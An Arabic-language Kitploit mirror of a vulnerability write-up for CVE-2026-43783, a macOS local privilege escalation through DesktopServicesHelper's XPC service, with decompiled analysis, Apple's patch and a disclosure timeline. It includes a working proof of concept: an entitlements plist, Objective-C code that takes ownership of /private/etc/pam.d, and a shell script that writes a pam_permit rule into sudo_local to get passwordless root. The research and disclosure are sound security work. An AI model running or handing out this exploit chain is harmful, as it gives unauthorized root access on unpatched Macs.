Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/andrd3v/cve-2026-43783
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاختبار الاختراقتحليل الملفات الثنائيةالأوراق والأبحاث
GitHubandrd3v/cve-2026-43783

CVE-2026-43783

إثبات مفهوم وشرح تقني لـ CVE-2026-43783، وهو تصعيد صلاحيات محلي في macOS عبر DesktopServicesHelper XPC لتنفيذ chown عشوائي للحصول على صلاحيات root.

عرض المستودع
2منذ 6 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-43783: إصلاح الأذونات - الحصول على صلاحيات الجذر: تصعيد الصلاحيات المحلية عبر DesktopServicesHelper في macOS 26.5

تبيّن أن الخدمة الخلفية (daemon) التي يستخدمها Finder "لإصلاح" الأذونات على ملفات iCloud مستعدة لإصلاح الأذونات على أي شيء - بما في ذلك أدلة النظام. في هذا المقال سنتناول كيفية عمل DesktopServicesHelper تحت الغطاء ولماذا كان طلب XPC واحد كافيًا للحصول على صلاحيات الجذر.

داخل DesktopServicesHelper

كنت أبحث عن أهداف تحتوي على com.apple.private.tcc.allow بالقيمة kTCCServiceSystemPolicyAllFiles ولفت DesktopServicesHelper انتباهي. يقع DesktopServicesHelper في /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper، ويستخدمه Finder لعمليات الملفات التي تتطلب صلاحيات مرتفعة: نقل الملفات، تعيين الأذونات، والتعامل مع سلة المهملات.

Entitlements DesktopServicesHelper

حمّلت الملف التنفيذي في IDA وانتقلت إلى start(). بعد إعداد المؤقت وقائمة الانتظار المعتاد، ينشئ مستمع XPC - نقطة دخول الخدمة الخلفية. يسجّل المستمع خدمة mach تحت اسم محدد ويبدأ الاستماع للاتصالات الواردة. أي عملية تعرف هذا الاسم يمكنها الاتصال وإرسال طلب. إليك الجزء الأساسي:```c // get the service name v16 = (const char *)sub_1000709F4(a1: 0);

// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);

// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);

// start the event loop CFRunLoopRun();

root@kitploit:~
تُرجع الدالة `sub_1000709F4` اسم خدمة mach. في `start()` يتم استدعاؤها بالوسيط 0، مما يعني أن الخدمة الخفية (daemon) تُسجّل تحت الاسم `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
  if ( a1 != 0 )
    return "com.apple.DesktopServicesScriptingHelper";
  else
    return "com.apple.DesktopServicesHelper";
}

stru_1000B4B48 هو كتلة معالج (callback) يستدعيها الـ daemon لكل حدث وارد. يعتمد XPC على الرسائل: يقوم العميل ببناء قاموس بمفاتيح وقيم، ويرسله إلى الـ daemon، ويقوم الـ daemon بتحليل المحتويات وتحديد ما يجب فعله. تنتهي جميع الأحداث الواردة في هذا المعالج. لنلقِ نظرة بالداخل.

stru_1000B4B48 في IDA

دالة الاستدعاء الخاصة بالكتلة هي sub_100032044. عند اتصال جديد، يسترجع الـ daemon أولاً euid و egid الخاصين بالعميل - معرّف المستخدم الفعّال ومعرّف المجموعة الفعّال - وهما معرّفا المستخدم والمجموعة التي تعمل تحتهما العملية المتصلة:```c euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);

root@kitploit:~
ثم يعيّن معالجًا للرسائل الواردة على الاتصال:```c
v15[2] = sub_10003AB2C;  // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);

sub_10003AB2C - هذا هو المكان الذي تصل فيه طلبات XPC الفعلية من العميل. الآن نحتاج إلى فهم كيف يقرر الخادم (daemon) أي الطلبات ينفذها وأيها يرفضها.

موزّع الطلبات

sub_10003AB2C هو الموزّع الرئيسي. هنا يقرر الخادم ما يجب فعله بالطلب. الدالة كبيرة، لذا دعنا نفككها.

أولاً، يستخرج سلسلة "request" من الرسالة - وهو اسم الأمر الذي يريد العميل تنفيذه:```c reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // logging: "Got Request '%{public}@'"

root@kitploit:~
ثم يسترجع الخادم (daemon) رمز التدقيق (audit token) الخاص بالعملية المتصلة ويتحقق مما إذا كانت تعمل داخل App Sandbox. App Sandbox هي آلية عزل تطبيقات في macOS تقيّد الوصول إلى نظام الملفات والشبكة والموارد الأخرى. وهنا يتفرع المسار:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
  // client is sandboxed - check against allowlist
  if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
  {
    sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
  }
}
else
{
  // client is not sandboxed - check entitlement
  *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
  v19 = (const __CFArray *)sub_10003B1E0();
  v20 = v19;
  if ( v19 == nullptr
    || (v35.length = CFArrayGetCount(theArray: v19),
        v35.location = 0,
        CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
  {
    sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
  }
}

إذا كان العميل محصورًا في بيئة معزولة (sandboxed) - يتم فحص اسم الطلب مقابل قائمة سماح من سبع سلاسل نصية. إذا تطابق - ينجح الفحص ويمر الطلب. وإذا لم يتطابق - يقتل sub_100034250 الخادم الخفي (daemon). إذا لم يكن العميل محصورًا في بيئة معزولة - يتحقق الخادم الخفي من استحقاق com.apple.private.tcc.allow بالقيمة kTCCServiceSystemPolicyAllFiles. عدم وجود الاستحقاق يعني أيضًا الموت.

بعد اجتياز الفحص، يمر الطلب عبر جدولي معالجة. أولاً sub_10002F7C8، ثم sub_10002A194:```c // first table (8 commands, two arguments) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // found - invoke

// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke

root@kitploit:~
الآن لنلقِ نظرة على جداول المعالجات. الجدول الأول (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

لا شيء مثير للاهتمام هنا. ثمانية معالجات (OperationSizing، SetChildPermissions، ...)، جميعها محمية بفحوصات الاستحقاق. لكن هناك جدول ثانٍ - v27 = sub_10002A194(a1: buf):```c __int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }

root@kitploit:~
هذا يمنحنا 21 معالجًا. يعمل الموزّع كسلسلة متتالية: أولاً يبحث عن اسم الطلب في الجدول الأول (`sub_10002F7C8`، 8 أوامر) - وهذه عمليات "أطلق وانسَ" تأخذ اتصال XPC والنظير (كائن العميل) لكنها لا تُرجع استجابة. إذا لم يُعثر عليه - يبحث في الجدول الثاني (`sub_10002A194`، 21 أمرًا) - وهذه عمليات لها استجابة، تتلقى إضافةً إلى ذلك ردًّا (كائنًا لإرسال النتيجة مرة أخرى إلى العميل).
معظم الأوامر إما لا تفعل شيئًا مثيرًا للاهتمام أو محجوبة خلف فحوصات الاستحقاق. لكن هناك أمر واحد مفتوح - `RepairPermissionsForCloudItems`. لنجد معالجه. في لغة التجميع يمكننا أن نرى أن `sub_10002AA78` يأخذ مؤشر دالة كوسيطه الثالث:```asm
__text:000000010002A2AC                 MOV             X2, X16
__text:000000010002A2B0                 MOV             X0, X20 ; int
__text:000000010002A2B4                 BL              sub_10002AA78
__text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC                 ADD             X20, X21, #0x80
__text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8                 ADRL            X16, sub_10002D744
__text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems -> sub_10002D744. لقد وجدنا المعالج الوحيد الذي يمكن الوصول إليه من الـ sandbox دون entitlements إضافية. الآن دعنا نرى ما يفعله فعليًا بالبيانات التي يستقبلها.

تحليل معالج RepairPermissionsForCloudItems

يقوم المعالج sub_10002D744 بثلاثة أشياء. أولًا، يستخرج المفتاح "Paths" من رسالة XPC ويفك تسلسله عبر NSKeyedUnarchiver إلى مصفوفة نصية:```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25));

root@kitploit:~
ثم يمرر كل مسار إلى `sub_100029CE4` عبر `sub_100034B5C` لتحديد ما إذا كانت "الإصلاح" مطلوبًا. بالنسبة للمسارات التي تحتاج إلى إصلاح، يستدعي `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
  sub_10002A11C(a1: v5, a2: v22);

لا يوجد تحقق من المسار: كل ما يتم تمريره تتم معالجته. تتحقق الدالة sub_100029CE4 مما إذا كانت "الإصلاح" مطلوبًا. إليك المنطق الأساسي:```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // not a directory + hardlinks > 1 - skip v6 = sub_100071288(a1: v4); // get caller's UID if ( v28.st_uid != v6 ) return true; // owner doesn't match - repair needed

root@kitploit:~
منطق التحقق:```
lstat(path)
  |
  +- not a directory && hardlinks > 1 ?
  |     +- yes -> false (skip)
  |
  +- st_uid == our UID ?
  |     +- yes -> false (owner matches, no repair needed)
  |     +- no -> true (repair needed)
  |
  +- directory ?
        +- yes -> recurse into contents

بالنسبة للمسارات التي تحتاج إلى إصلاح، يتم استدعاء sub_10002A11C - وهي حلقة بسيطة تتكرر عبر النتائج وتستدعي sub_100029440 لكل واحدة منها. إليك المنطق الأساسي لـ sub_100029440:```c fd = open(path, 0x200000); fstat(fd, &st);

// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);

// get caller's UID (ours - 501) caller_uid = sub_100071288();

// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);

close(fd);

// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);

root@kitploit:~
هذا كل شيء. يستدعي الـ daemon الدالة `fchown` على أي مسار يتم تمريره، دون التحقق من أنه يقع في `~/Library/Mobile Documents/` أو أي حاوية iCloud. وإذا كان المسار مجلدًا، فإن الدالة تعبر جميع محتوياته بشكل تكراري وتستدعي `fchown` على كل عنصر.
اقرأ ذلك مرة أخرى. دعها تستقر في ذهنك. مرر أي مجلد - وستمتلك كل محتوياته.

## الملخص

السلسلة الكاملة من طلب XPC إلى `fchown`:```
Sandboxed app
  |
  +- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
  |
  +- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
  |                   "Paths"   = ["/private/etc/pam.d"]
  |
  +- send --> DesktopServicesHelper (root)
                    |
                    +- sandbox_check: client sandboxed? -> yes
                    +- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
                    +- NSKeyedUnarchiver: extract paths
                    +- lstat: st_uid != caller_uid? -> yes, repair needed
                    +- fchown(path, 501, gid) <- arbitrary path, no validation

طلب XPC واحد - وأي ملف أو دليل يصبح ملكنا.

الاستغلال

إذن لدينا chown عشوائي على أي مسار على القرص. الآن نحتاج فقط لتحويله إلى صلاحيات root. على macOS، تمر المصادقة عبر PAM. توجد ملفات الإعدادات في /private/etc/pam.d/ - ملف واحد لكل برنامج يتحقق من كلمات المرور: sudo، login، su، إلخ. الدليل مملوك لـ root:wheel. لذا يمكننا الاستيلاء على ملكيته باستخدام chown الخاص بنا. بعد ذلك نكون أحرارًا في إنشاء الملف /private/etc/pam.d/sudo_local بسطر واحد:``` auth sufficient pam_permit.so

root@kitploit:~
`pam_permit.so` هي وحدة PAM تُرجع النجاح دائمًا. يتحقق `sudo` من `sudo_local` قبل الإعدادات الرئيسية. النتيجة: لم يعد `sudo` يطلب كلمة مرور.

لكن هناك مشكلة. لا يمكنك ببساطة الاتصال بـ `com.apple.DesktopServicesHelper` من الـ sandbox: يحظر الـ sandbox البحث عبر mach عن هذه الخدمة افتراضيًا. لكن الخدمة الخلفية نفسها تتحقق من أن العملية المستدعية داخل sandbox - وعندها فقط تسمح لـ `RepairPermissionsForCloudItems` بالمرور دون التحقق من الاستحقاق. المفارقة: الـ sandbox هنا ليس دفاعًا - بل هو تصريح مرور.

لتجاوز الـ sandbox في البحث عبر mach، نحتاج إلى الاستحقاق `com.apple.security.temporary-exception.mach-lookup.global-name`. إليك الحد الأدنى من مجموعة الاستحقاقات لتطبيق PoC:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.DesktopServicesHelper</string>
    </array>
</dict>
</plist>

استحقاقان. com.apple.security.app-sandbox - يفعّل وضع الحماية (بدونه سيحتاج البرنامج الخفي إلى استحقاق TCC وسيرفضنا). com.apple.security.temporary-exception.mach-lookup.global-name - استحقاق استثناء وضع الحماية. لا يسمح وضع الحماية بالاتصال بجميع خدمات mach، وcom.apple.DesktopServicesHelper ليس ضمن القائمة المسموح بها. يضيف هذا المفتاح استثناءً لخدمة محددة. هذا كل ما نحتاجه. يذهب الكود مباشرة إلى ViewController.m. الطريقة الأساسية هي chownPath:، التي تتصل بالبرنامج الخفي وترسل الطلب:```objc

  • (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg); }

root@kitploit:~
نتصل بـ `com.apple.DesktopServicesHelper`، ونؤرشف المسار إلى `NSArray` عبر `NSKeyedArchiver` (كما تتوقع الخدمة الخلفية)، وننشئ قاموس XPC بالمفتاح `"request"` = `"RepairPermissionsForCloudItems"`، ونرسله.

عند تشغيل التطبيق، نستدعي `chownPath:` على `/private/etc/pam.d` ونتحقق من النتيجة:```objc
- (void)runExploit
{
  [self chownPath:@"/private/etc/pam.d"];
  usleep(200000);

  struct stat st;
  if (lstat("/private/etc/pam.d", &st) != 0) return;

  if (st.st_uid == getuid())
      NSLog(@"ok");
}

200 مللي ثانية انتظار، ثم lstat - إذا تغيّر المالك إلى UID الخاص بنا، فقد نجح chown.

الآن لنضع كل ذلك معًا. يقوم سكربت shell بتشغيل تطبيق PoC، وينتظر حتى تقوم الخدمة الخفية بعملها، ويتحقق من نجاح chown، ويكتب قاعدة PAM، ويحصل على صلاحيات root:```sh #!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

our application

./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"

root

sudo id sudo su

root@kitploit:~
## تصحيح Apple
أضافت Apple فحصًا لصلاحية الاستحقاق في بداية معالج `RepairPermissionsForCloudItems` مباشرةً:```c
if ( (sub_100034110(a1: v5,
        a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
  sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}

الآن فقط العمليات التي تمتلك الاستحقاق الخاص com.apple.private.desktopservices.cloud-repair-perm يمكنها استدعاء RepairPermissionsForCloudItems. بدون ذلك - يقوم sub_100034250 بإنهاء الـ daemon. تبقى بقية منطق الدالة دون تغيير.

الجدول الزمني

التاريخالحدث
05/09/2026تم إرسال التقرير إلى Apple Product Security
05/11/2026نقلت Apple التقرير إلى المراجعة

شكرًا لقراءتكم، حظًا موفقًا في البحث عن الأخطاء!

تنزيل الأداة
05/13/2026أعادت Apple إنتاج الخلل، وحددت الإصلاح لفصل الخريف
05/26/2026التصحيح في macOS 26.6 beta 1
08/11/2026تم تعيين CVE-2026-43783